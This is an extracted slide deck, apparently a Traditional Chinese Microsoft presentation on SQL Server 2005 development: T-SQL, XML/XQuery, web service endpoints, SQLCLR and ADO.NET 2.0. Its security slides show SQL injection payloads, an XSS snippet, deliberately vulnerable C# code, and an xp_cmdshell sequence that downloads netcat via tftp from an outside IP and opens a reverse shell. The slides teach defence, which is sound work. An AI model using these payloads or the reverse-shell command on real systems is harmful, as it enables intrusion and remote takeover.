SQL Server 2005 SQL Server Bob Beauchemin SQL

SQL Server 2005 程式開發 國際SQL Server 大師 『Bob Beauchemin』 提到學習SQL Server 2005 程式開發時，最 重要兩大主軸就是SQLCLR與XML的部分 。

SQL Server 2005 開發強化功能. NET Framework > CLR Integration CLR-based Types, Functions, Triggers SQL Server. NET Data Provider … more Data Types CLR-based Data Types VARCHAR(MAX), VARBINARY(MAX) XML Datatype … more XML New XML data type XML Indexes XQUERY Support XML Schema (XSD) support FOR XML PATH XML Data Manipulation Languages … more SQL Client. NET Data Provider Asynchronous Sql. Command Multiple Active Result Sets Bulk Copy Snapshot isolation mode … more Security Password policy enforcement Separation of Users and Schema Surface Area Configuration … more Notification Services Embed NS in existing application User-defined match logic Analysis Services Event Provider …more Service Broker Queue Contract … more

Transact-SQL Basic DML / DDL / DCL SELECT INSERT UPDATE DELETE CREATE ALTER DROP GRANT REVOKE DENNY GRANT SELECT ON OBJECT: : XXX TO PUBLIC GRANT SELECT ON XXX TO PUBLIC

Transact-SQL Enhancements CTE (Common Table Expressions) 使用CTE取代Temp Table與 Table Variable 找出子階層所有資料 適合計算階層例如階層式佣金與獎金 WITH Top. People (Mgr. ID , People) AS ( SELECT Manager. ID, count(*) FROM Human. Resources. Employee GROUP BY Manager. ID ) SELECT * FROM Top. People WHERE People >=10

CTE (Common Table Expressions) CTE處理遞迴資料 資料表使用自我參閱(Self-Reference)處理 部門組員從屬關係 傳銷產業上線下線的關係 製造業的Bill of Material的關聯 CREATE TABLE Employees ( empid int NOT NULL, --員 編號 mgrid int NULL, --主管編號 empname varchar(25) NOT NULL, --員 姓名 salary money NOT NULL, --薪資 CONSTRAINT PK_Employees PRIMARY KEY(empid), CONSTRAINT FK_Employees_mgrid_empid FOREIGN KEY(mgrid) REFERENCES Employees(empid) --主管編號必須存在於員 編號 )

Transact-SQL Enhancements Pivot/Unpivot 資料轉向輸出 資料庫相容版本必須9. 0 SELECT * FROM Sft. Sales PIVOT(SUM(Sales) FOR Quarter IN ([Q 1], [Q 2])) t

SQL Server 2005的Ranking 函數簡單化程式設計

進階的WHILE指令搭配TOP進行重複資料的刪除 CREATE TABLE my. Duplicate ( myid INT , myname varchar(30)) GO INSERT INTO my. Duplicate VALUES(1, 'LEWIS') INSERT INTO my. Duplicate VALUES(2, 'LEWIS') INSERT INTO my. Duplicate VALUES(3, 'LEWIS') INSERT INTO my. Duplicate VALUES(4, 'ADA') INSERT INTO my. Duplicate VALUES(5, 'ADA') INSERT INTO my. Duplicate VALUES(6, 'JULIA') GO

Transact-SQL Enhancements Try … Catch SQL Server資料庫版本(6. 5/7. 0/2000)使用@@ERROR判斷錯誤 ＠＠ERROR僅抓取到錯誤的號碼，但是不提供警告機制 輸出項目 ERROR_NUMBER()： ERROR_SEVERITY()： ERROR_STATE()： ERROR_MESSAGE()： ERROR_LINE() ERROR_PROCEDURE() 搭配交易 XACT_STATE()函數判斷交易的後續處理程序 1：交易是開啟可以進行COMMIT或是ROLLBACK 0：沒有交易可以進行處理 -1：交易是開啟但是僅能ROLLBACK

利用Try…Catch 搭配交易處理 SET XACT_ABORT OFF BEGIN TRY BEGIN TRANSACTION INSERT INTO Try. Catch. Test COMMIT TRANSACTION END TRY BEGIN CATCH PRINT '發生資料重複問題' if XACT_STATE()=-1 begin ROLLBACK; PRINT 'ROLLBACK 交易' end else if XACT_STATE()=1 begin COMMIT; PRINT 'COMMIT 交易' end else PRINT '無交易可以處理' END CATCH VALUES(1, 'LEWIS') VALUES(2, 'ADA') VALUES(2, 'JUDY') VALUES(4, 'JULIA')

SQL Server資料類型 字串資料 nchar / nvarchar / ntext / (max) char / varchar / text / (max) 二進位元 binary / varbinary / (max) image 特殊資料型態 Table / Sysname / sql_variant Identity / timestamp / uniqueidentifier

SQL Server大數值類型 max nvarchar varbinary 儲存方式的改變 Exec sp_tableoption @Table. Name. Pattern = ‘資料表名稱’, @Option. Name =‘text in row’|’large value types out of row’, @Option. Value =1、0|24~7000的數值

資料分割技術 Partition function 作為資料分割的依據，例如時間、號碼… Partition schema 將不同的Partition放置於不同的檔案群組 2002 -01 -01 Partition # 1 2001 & 早期 2003 -01 -01 2004 -01 -01 2005 -01 -01 2 2002 年度 3 4 5 2003年度 2004年度 2005 & 後續 Partition Schema Filegroup fg_Min Filegroup fg_2002 Filegroup fg_2003 Filegroup fg_2004 Filegroup fg_2005

資料分割實際範例-分割函數，根據年度分成七組 使用透過 $partition. 函數(欄位) CREATE PARTITION FUNCTION annual_range (DATETIME) as RANGE RIGHT –指明邊界值屬於右邊 for values ( -- Partition 1 -- 1999 and earlier '2000 -01 -01', -- Partition 2 -- 2000 '2001 -01 -01', -- Partition 3 -- 2001 '2002 -01 -01', -- Partition 4 -- 2002 '2003 -01 -01', -- Partition 5 -- 2003 '2004 -01 -01', -- Partition 6 -- 2004 '2005 -01 -01' -- Partition 7 -- 2005 );

XML 定義 ELEMENT 使用TAG包括內容，<Order>12345</Order> Nested XML Element <Employee> <Name>Lewis</Name> <Salary>12000</Salary> </Employee> 一般XML Document

XML Document 說明 XML Declaration Processing instructions <? xml version="1. 0"? > <? xml-stylesheet type="text/xsl" href="stylesheet. xsl" ? > n Comment <!-- This is a comment --> n Root element <employee> n Child element <name>Lars Peterson</name> n Empty element <permanent_staff /> n Attribute n 單引號 n 雙引號 <salary> currency="USD"> 25000 </salary> </employee>

驗證 XML示意 XML 文件一般可以有任何資料格式 XML Grammars 定義出規範的架構 使用 DTD 或 XML schema defined (XSD) <? xml version="1. 0"? > <invoice number="1234"> <date>13/25/02 </date> <from>Litware</from> <to>Contoso</to> <items>5</items> <total>150. 00</total> </invoice> Instance Elements are in correct order Elements have correct attributes <date> is valid date datatype XML Schema

XML 技術強化 SQL 2005 的 XML 技術強化項目 直接使用RAW進行使用元素輸出結果 FOR XML RAW, ELEMENTS 加強Null處理，利用xsi: nil=“true“ 屬性 例如 FOR XML AUTO, ELEMENTS XSINIL 直接回傳 XSD，取代回傳XDR 例如 FOR XML AUTO, XMLSCHEMA 直接回傳XML 資料型態，可運用在Sub. Query 例如 FOR XML AUTO, ELEMENTS, TYPE 直接回傳PATH模式替代複雜的Explicit模式 例如 FOR XML PATH('Product') 直接產生well-formed的XML Document 例如 FOR XML AUTO, ROOT('employees') 直接使用RAW與PATH模式進行元素名稱改變 例如 FOR XML RAW ('Product')

XQuery 技術 查詢XML資料的語言 符合W 3 C XQuery 1. 0規範 符合 包含XPath 2. 0功能 XQuery 語法 FLWOR Expressions FOR LET (not supported by SQL Server 2005) WHERE ORDER BY RETURN Using XQuery with the XML data type Methods xml. exist xml. value xml. query xml. nodes xml. modify

XQuery 的基本架構 declare default element namespace = “urn: demos-r-us”; declare namespace myns = “urn: more-demos-r-us”; for $item in //order/item Prolog Body For Let order by $item/@price W here return <Expensive. Item> Order <Product. Code> {data($item/@product)} Return </Product. Code> where $item/@price > 1. 0 </Expensive. Item>

進行XML資料修改 insert New. Content {as first| as last} into | after | before /some/expression/that/returns/one/node replace value of /some/single/node/expression with New. Value | Expression delete /some/expression/identifying/nodes

SQL 2005 Native Web Service 透過 Native SOAP 進行資料存取 透過HTTP與XML進行互動 跨平台，跨語言 增加系統互動性 更高安全性 列入標準SQL Server存取方式 http: //server 1/aspnet/default. aspx 使用 “HTTP” 的 “ENDPOINT 儲存連結資訊 儲存認證資訊 Kernel Mode Listener http: //server 1/sql/pubs? wsdl

SQL 2005 Web Service 設定須知 作業系統 Windows Server 2003 Windows XP SP 2 不需要IIS Request / Response 利用HTTP. sys接收需求 WSDL HTTP. sys HTTP Endpoint 利用ENDPOINT傳遞給資料庫 WSDL Web Services Description Language XML格式 SQL Server 產生 SQL Server

Web Service 實際應用步驟 建立HTTP ENDPOINT 授予使用權限 建立存取資料庫帳號 Windows 帳號 與 SQL 帳號 CREATE LOGIN YYY … 對物件使用授權給帳號 GRANT EXECUTE on XXX To YYY 對HTTP endpoints授權連結 GRANT CONNECT ON ENDPOINT: : ZZZ TO YYY 在HTTP. sys中保留Namespace Implicitly 或 Explicitly宣告 存取Web Service http: //localhost/URL Namespace? WSDL

Web Service 實際範例一 利用HTTP Web Service 存取資料庫 User-Defined Function Stored Procedure Ad hoc Query

Web Service 實際範例二 利用HTTP Web Service 實作非同步處理 Visual Studio 2003 Begin. XXX + End. XXX 名稱 Visual Studio 2005 XXXAsync 名稱

. NET Framework Hosting SQL Engine Server Net-Libraries 資料庫中整合CLR 媲美資料庫整合JVM Open Data Services 延展資料庫物件建立能力 Relational CLR Engine 使用者自訂函數 使用者定義類型 彙總(Aggregates) Hosting. Storage Layer. Engine SQL OS CLR 預計加入廠商 Processor Windows Memory Local Database IBM DB/2 8. 2 SQL Server 2005 Oracle 10 g R 2

如何加入Assembly到資料庫 1 2 3 Set the database object name for the assembly Reference the assembly Set security permissions CREATE ASSEMBLY Helper. Library ‘\Server 1PrivateAProjectbinHelper. Library. dll‘–‘UNC路徑 FROM ‘\Server 1PrivateAProjectbinHelper. Library. dll WITH PERMISSION_SET= SAFE -- default value CREATE ASSEMBLY Contacts ‘C: AProjectbinContacts. dll‘ –本機路徑 FROM 'C: AProjectbinContacts. dll' WITH PERMISSION_SET= EXTERNAL_ACCESS

建立使用含有列管物件的程式 1 2 3 Use the appropriate CREATE statement Link to the assembly Use the database object CREATE PROCEDURE Person. Update. Phone. List AS EXTERNAL NAME Contacts. Phone. List. Save. List GO -- 組件名稱. [[Namespace名稱]. Class -- Assembly 名稱. Class 名稱. Method 名稱]. Method 名稱 名稱 EXEC Person. Update. Phone. List

建立SQLCLR預存程序 1 建立 Public Shared Sub 2 加入連線建立內容 Sql. Connection 3 透過 Sql. Coontext. Pipe 回傳結果 Partial Public Class Stored. Procedures <Microsoft. Sql. Server. Sql. Procedure()> _ Public Shared Sub STP() Try Dim cnn As New Sql. Connection(“contextconnection=true”) ‘建立資料庫內部連線 cnn. Open() Dim cmd As New Sql. Command cmd. Command. Text = "select Employee. ID, Title, Salary from Employee " cmd. Connection= cnn Dim dr As Sql. Client. Sql. Data. Reader dr = cmd. Execute. Reader() ‘讀取資料 Dim sp As Sql. Pipe = Sql. Context. Pipe() ‘輸出資料 sp. Send(dr) Catch ex As Exception Dim sp As Sql. Pipe = Sql. Context. Pipe() sp. Send("Excption" + ex. Message) End Try End Sub

建立SQLCLR使用者自訂函數 1 建立 Public Shared Function 2 使用 Sql. String 取代 String 作為回傳資料型態 3 設定相關權限 Safe / External / Unsafe Partial Public Class User. Defined. Functions <Microsoft. Sql. Server. Sql. Function()> _ Public Shared Function UDF() As. Sql. String Dim Env. Variable As String = " " '注意使用到系統變數時必須要提高權限 Env. Variable = System. Environment. User. Domain. Name. To. String+ _ vb. Cr. Lf+ System. Environment. OSVersion. To. String Return New Sql. String(Env. Variable) End Function End Class

建立SQLCLR資料表Trigger 1 建立需指定Trigger Name / Target Table / Event 2 透過 Command 取得資料(Inserted / Deleted) Partial Public Class Triggers ' Enter existing table or view for the target and uncomment the attribute line <Microsoft. Sql. Server. Sql. Trigger(Name: ="Tri. XML", Target: ="Employee", Event: ="FOR UPDATE")> _ Public Shared Sub Tri. XML() Dim trg As Sql. Trigger. Context = Sql. Context. Trigger. Context If (trg. Trigger. Action= Trigger. Action. Update) Then Try Dim cnn As New Sql. Connection("contextconnection=true") 建立資料庫內部連線 ' cnn. Open() Dim cmd As New Sql. Command cmd. Command. Text = "SELECT * FROM Inserted for XML AUTO" '將修改資料以xml輸出 cmd. Connection= cnn Dim dr As Sql. Client. Sql. Data. Reader dr = cmd. Execute. Reader() '讀取資料 Dim sp As Sql. Pipe = Sql. Context. Pipe() '輸出資料 sp. Send(dr) Catch ex As Exception Dim sp As Sql. Pipe = Sql. Context. Pipe() sp. Send("Excption" + ex. Message) End Try End If End Sub End Class

應用程式防護-輸入資料的問題 “All input is evil, until proven otherwise!” Buffer Overruns(緩衝區溢位 ) 101011011 101011010110110010101101 SQL Injection(資料隱碼 ) Blake′ or 1=1 -- Cross-Site Scripting(跨網站程式攻擊 ) Blake <script>var i=document</script> Canonicalization(標準化攻擊)

SQL Injection 示意圖 定義: SQL injection is the process of adding SQL statements in user input SELECT * FROM Users WHERE User. Name ='" + txtuid. Text + "'"; ‘; DROP TABLE Customers – 改變 SQL指令 SELECT * FROM Users WHERE User. Name =''; DROP TABLE Customers –' ‘OR 1=1 – 改變 SQL指令 SELECT * FROM Users WHERE User. Name='' OR 1=1 –

SQL Injection – C# string Status = "No"; string sqlstring =""; try { Sql. Connection sql= new Sql. Connection( 太普通的密碼 @"data source=localhost; " + "user id=sa; password=password; "); 動態組成SQL字串 竟然使用sa開發程式 sql. Open(); sqlstring="SELECT Has. Shipped" + " FROM Shipment WHERE ID='" + Id + "'"; Sql. Command cmd = new Sql. Command(sqlstring, sql); if ((int)cmd. Execute. Scalar() != 0) Status = "Yes"; } catch (Sql. Exception se) { Status = sqlstring + " failednr"; foreach (Sql. Error e in se. Errors) { Status += e. Message + "nr"; } 洩底了 } catch (Exception e) { Status = e. To. String(); }

SQL Injection (1 of 3) sqlstring="SELECT Has. Shipped" + " FROM Shipment WHERE ID='" + Id + "'"; Good Guy SELECT Has. Shipped FROM Shipment WHERE ID='1001' Not so Good Guy SELECT Has. Shipped FROM Shipment WHERE ID= '1001' or 2>1 -- '

SQL Injection (2 of 3) sqlstring="SELECT Has. Shipped" + " FROM Shipment WHERE ID='" + Id + "'"; Really Bad Guy SELECT Has. Shipped FROM Shipment WHERE ID= '1001' drop table orders -- ' Downright Evil Guy SELECT Has. Shipped FROM Shipment WHERE ID= '1001' exec xp_cmdshell('. . . ') -- '

SQL Injection (3 of 3) 最恐怖的夢魘! exec xp_cmdshell 'tftp -i 63. 45. 11. 9 GET nc. exe c: nc. exe' jesper 0 wns 63. 45. 11. 9 nc. exe -l -p 31337 exec xp_cmdshell 'c: nc. exe -v -e cmd. exe 63. 45. 11. 9 31337'

Do NOT look ONLY for “bad things. ” It assumes you know all the “bad things” deldeleteete from table ; deldeleteete

SQL Injection 實際範例 展示 XP_CMDSHELL 如何使用 展示 Stored procedure 防止資料隱碼

什麼是公開金鑰加密 (非對稱加密 )? 用來安全的傳送資料 仰賴一對相關的金鑰加密: 公開金鑰 (public key) 及私密金 鑰 (private key) 常用演算法： Rivest, Shamir, and Adelman (RSA) Digital Signature Algorithm (DSA) 1 2 Sender encrypts the data by using the receiver’s public key Receiver decrypts the data by using his or her private key Data Receiver’s Public Key Encrypted Data Receiver’s Private Key Asymmetric Algorithm Encrypted Data Asymmetric Algorithm Data

加密解密範例 實際範例 使用 SQL Server 2005 加密密碼 使用Encrypt. By. Asym. Key與 Decrypt. By. Asym. Key 使用Encrypt. By. Key與Decrypt. By. Key 使用Encrypt. By. Cert 與Decrypt. By. Cert

SQL Service Broker技術 定義MESSAGE TYPE Message type WELL_FORMED_XML VALID_XML WITH SCHEMA COLLECTION Any data type ( 如Binary Data) 定義Contract 指定傳送者與接收者 定義Queue Contract 利用資料表儲存訊息 定義Service program 處理Message的服務 定義Service Queue Service program 處理所有介接與所有訊息作業 Service

Unicode & Encodings Unicode 不指定字元在記憶體、資料庫與網頁如何呈現 必須透過編碼方式進行字元處理 Encodings UCS-2(Universal Multiple-Octet Coded Character Set ) 透過2 個 8 位元，提供 65536的Code Point Microsoft NT 4. 0 / SQL 7. 0~2005主要編碼機制 例如 U+5 F 37 (繁體) 例如 U+7 F 51 (簡體) 例如 U+3048 (日語) 例如 U+CC 45(韓語)

日期時間轉換 DATETIME 格式 公曆(Gregorian calenda r) January 1, 1753 到 December 31, 9999 時間準確度為 (1/300) 秒 資料庫內部儲存以 two integers (4 bytes integers) SMALLDATETIME 公曆January 1, 1900 到June 6, 2079 時間準確度以 29. 999 區隔，以分為準確度 資料庫內部儲存以 two integers (2 bytes integers)

定序在SQL Server 設定範圍 定序設定的範圍 系統安裝( Server Collation ) SELECT SERVERPROPERTY('collation') Rebuild. M. exe 可以重新修改Server的定序設定 資料庫建立 (Database Collation) SELECT DATABASEPROPERTYEX(‘xxx’, ‘collation’) 透過 Alter Database XXX Collate ZZZ 進行修改 資料表欄位 (Column Collation) 可以透過 Alter Table YYY Alter Column 改變欄位定序 運算式 ( Expression Collation) 利用Collate 關鍵字

1. 使用Collation 設定，實作資料內容字 元大小寫差異的技巧 Chinese_Taiwan_Stroke_CI_AS Chinese_Taiwan_Stroke_CS_AS

1. 使用欄位Collation 設定，實作在不同 於資料庫的Collation中，個別設定同一 Table下每個欄位的Collation 簡體資料欄位 Chinese_PRC_Stroke_CI_AS 繁體資料欄位 Chinese_Taiwan_Stroke_CI_AS 日文資料欄位 Japanese_CI_AS

ADO. NET 2. 0 重大強化新功能 Sql. Connection. String. Builder Password Change API Multiple Active Result Sets (MARS) Asynchronous Operations Bulk Copy Snapshot isolation mode Query notifications (Sql. Dependency) Dataset/Data. Table Transactions in ADO. NET 2. 0 XML Data Type Factory Class Hierarchy

Sql. Connection. String. Builder 以往Connection String 寫法缺點 編譯時間無法檢查出錯誤 Data Source Data. Source 容易造成入侵與破壞 Connection string injection Password=HACK; Integrated Security =SSPI 難記憶所有參數 28 個等參數設定

Password 變更 API 整合 SQL Server 2005 Passwords 過期機制 well-known error message returned must prompt for new password no standard password prompt Sql. Connection. Change. Password to change needs old and new passwords must replace password in config file precludes storing connection string in program

MARS 與 Non-MARS架構差異 MARS是ADO. NET 2. 0內定的功能 使用 Connection連結參數 僅對應到SQL Server 2005 內定連結字串是啟動MARS功能 Multiple. Active. Resultsets=True MARS Data. Reader buffer Application buffer Non-MARS buffer Database

Asynchronous 功能 支援多個資料庫處理作業 支援SQL Server 7. 0 / 2005 減少Threads的管理 可以於大量資料存取同時進行其他作業 Execute. Non. Query. Execute. Reader. Execute. Xml. Reader

Bulk Copy 強化執行效能 透過ADO. NET 2. 0 Sql. Client 透過Command的類別 實作T-SQL的Bulk Insert 處理速度接近DTS的 Bulk Insert Sql. Bulk. Copy類別 透過Data. Table 或 Data. Reader 處理資料暫存 透過Write. To. Server 將資料資料寫入資料庫 透過Sql. Bulk. Copy. Mapping類別處理欄位對應

Query notifications (Sql. Dependency) More accurate cache expiration policy 資料改變自動變更CACHE資料 資料改變自動通知前端應用程式 保護資料庫避免造成查詢負擔 搭配 SQL Server 2005 Query Notifications 繫結 Sql. Dependency 與 Command 整合 ASP. NET

Data. Table 強化 Data. Table 更高自主性 Read. XML, Read. XMLSchema Write. XML, Write. XMLSchema Load, Merge Create. Data. Reader 回傳 Data. Table. Reader

ADO. NET 2. 0 交易強化 Transactions in ADO. NET 1. x Transaction object associated with connection COMMIT | ROLLBACK in a stored procedure Enterprise Services (COM+) Transactions in ADO. NET 2. 0 Easier Single DB (simple) = Multiple DB (complex) Transaction. Scope "Wrap all your commands in a Transaction. Scope object, and it takes care of everything for you"

XML 與 SQL Server 2005 provides an XML database and schema repository XML data-typing and indexing are supported for XML columns XML data type can be used in T-SQL when inserting and selecting data when querying and updating data

Common Provider 類別 In System. Data. Common namespace: for example: Db. Command. Builder Db. Connection Data. Adapter Db. Data. Reader Db. Parameter. Collection Db. Transaction Db. Provider. Factory Db. Provider. Factories Db. Exception

This presentation is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS OR IMPLIED, IN THIS SUMMARY. © 2004 Microsoft Corporation. All rights reserved.